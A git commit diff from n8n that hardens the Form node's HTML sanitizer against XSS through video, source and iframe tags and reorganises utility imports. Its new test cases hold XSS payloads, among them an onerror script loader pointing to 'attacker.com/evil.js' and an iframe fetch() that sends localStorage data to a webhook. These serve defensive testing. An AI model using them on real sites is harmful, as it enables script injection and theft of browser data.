fix(n8n Form Node): Prevent XSS with video and source tags (#16329)

This commit is contained in:
Dana
2025-06-16 16:42:54 +02:00
committed by GitHub
parent c3653275f2
commit 759e555993
11 changed files with 55 additions and 18 deletions

View File

@@ -19,12 +19,12 @@ import {
} from 'n8n-workflow'; } from 'n8n-workflow';
import { cssVariables } from './cssVariables'; import { cssVariables } from './cssVariables';
import { renderFormCompletion } from './formCompletionUtils'; import { renderFormCompletion } from './utils/formCompletionUtils';
import { renderFormNode } from './formNodeUtils'; import { renderFormNode } from './utils/formNodeUtils';
import { prepareFormReturnItem, resolveRawData } from './utils/utils';
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util'; import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions'; import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
import { formDescription, formFields, formTitle } from '../Form/common.descriptions'; import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
const waitTimeProperties: INodeProperties[] = [ const waitTimeProperties: INodeProperties[] = [
{ {

View File

@@ -2,7 +2,7 @@ import { type Response } from 'express';
import { type MockProxy, mock } from 'jest-mock-extended'; import { type MockProxy, mock } from 'jest-mock-extended';
import { type INode, type IWebhookFunctions } from 'n8n-workflow'; import { type INode, type IWebhookFunctions } from 'n8n-workflow';
import { binaryResponse, renderFormCompletion } from '../formCompletionUtils'; import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
describe('formCompletionUtils', () => { describe('formCompletionUtils', () => {
let mockWebhookFunctions: MockProxy<IWebhookFunctions>; let mockWebhookFunctions: MockProxy<IWebhookFunctions>;

View File

@@ -7,7 +7,7 @@ import {
type NodeTypeAndVersion, type NodeTypeAndVersion,
} from 'n8n-workflow'; } from 'n8n-workflow';
import { renderFormNode } from '../formNodeUtils'; import { renderFormNode } from '../utils/formNodeUtils';
describe('formNodeUtils', () => { describe('formNodeUtils', () => {
let webhookFunctions: MockProxy<IWebhookFunctions>; let webhookFunctions: MockProxy<IWebhookFunctions>;

View File

@@ -22,7 +22,7 @@ import {
validateResponseModeConfiguration, validateResponseModeConfiguration,
prepareFormFields, prepareFormFields,
addFormResponseDataToReturnItem, addFormResponseDataToReturnItem,
} from '../utils'; } from '../utils/utils';
describe('FormTrigger, parseFormDescription', () => { describe('FormTrigger, parseFormDescription', () => {
it('should remove HTML tags and truncate to 150 characters', () => { it('should remove HTML tags and truncate to 150 characters', () => {
@@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
html: '<input type="text" value="test">', html: '<input type="text" value="test">',
expected: '', expected: '',
}, },
{
html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
expected:
'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
},
{
html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
expected:
'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
},
{
html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
expected: '<video><source></source></video>',
},
{
html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
expected:
'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
},
]; ];
givenHtml.forEach(({ html, expected }) => { givenHtml.forEach(({ html, expected }) => {

View File

@@ -18,11 +18,11 @@ import {
} from 'n8n-workflow'; } from 'n8n-workflow';
import sanitize from 'sanitize-html'; import sanitize from 'sanitize-html';
import type { FormTriggerData, FormTriggerInput } from './interfaces'; import { getResolvables } from '../../../utils/utilities';
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces'; import { WebhookAuthorizationError } from '../../Webhook/error';
import { getResolvables } from '../../utils/utilities'; import { validateWebhookAuthentication } from '../../Webhook/utils';
import { WebhookAuthorizationError } from '../Webhook/error'; import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
import { validateWebhookAuthentication } from '../Webhook/utils'; import type { FormTriggerData, FormTriggerInput } from '../interfaces';
export function sanitizeHtml(text: string) { export function sanitizeHtml(text: string) {
return sanitize(text, { return sanitize(text, {
@@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
allowedAttributes: { allowedAttributes: {
a: ['href', 'target', 'rel'], a: ['href', 'target', 'rel'],
img: ['src', 'alt', 'width', 'height'], img: ['src', 'alt', 'width', 'height'],
video: ['*'], video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
iframe: ['*'], iframe: [
source: ['*'], 'src',
'width',
'height',
'frameborder',
'allow',
'allowfullscreen',
'referrerpolicy',
],
source: ['src', 'type'],
}, },
allowedSchemes: ['https', 'http'],
allowedSchemesByTag: {
source: ['https', 'http'],
iframe: ['https', 'http'],
},
allowProtocolRelative: false,
transformTags: { transformTags: {
iframe: sanitize.simpleTransform('iframe', { iframe: sanitize.simpleTransform('iframe', {
sandbox: '', sandbox: '',

View File

@@ -15,7 +15,7 @@ import {
formTriggerPanel, formTriggerPanel,
webhookPath, webhookPath,
} from '../common.descriptions'; } from '../common.descriptions';
import { formWebhook } from '../utils'; import { formWebhook } from '../utils/utils';
const descriptionV1: INodeTypeDescription = { const descriptionV1: INodeTypeDescription = {
displayName: 'n8n Form Trigger', displayName: 'n8n Form Trigger',

View File

@@ -21,7 +21,7 @@ import {
} from '../common.descriptions'; } from '../common.descriptions';
import { cssVariables } from '../cssVariables'; import { cssVariables } from '../cssVariables';
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces'; import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
import { formWebhook } from '../utils'; import { formWebhook } from '../utils/utils';
const useWorkflowTimezone: INodeProperties = { const useWorkflowTimezone: INodeProperties = {
displayName: 'Use Workflow Timezone', displayName: 'Use Workflow Timezone',

View File

@@ -23,7 +23,7 @@ import {
formTitle, formTitle,
appendAttributionToForm, appendAttributionToForm,
} from '../Form/common.descriptions'; } from '../Form/common.descriptions';
import { formWebhook } from '../Form/utils'; import { formWebhook } from '../Form/utils/utils';
import { import {
authenticationProperty, authenticationProperty,
credentialsProperty, credentialsProperty,

View File

@@ -24,7 +24,11 @@ import {
import type { IEmail } from './interfaces'; import type { IEmail } from './interfaces';
import { cssVariables } from '../../nodes/Form/cssVariables'; import { cssVariables } from '../../nodes/Form/cssVariables';
import { formFieldsProperties } from '../../nodes/Form/Form.node'; import { formFieldsProperties } from '../../nodes/Form/Form.node';
import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils'; import {
prepareFormData,
prepareFormReturnItem,
resolveRawData,
} from '../../nodes/Form/utils/utils';
import { escapeHtml } from '../utilities'; import { escapeHtml } from '../utilities';
export type SendAndWaitConfig = { export type SendAndWaitConfig = {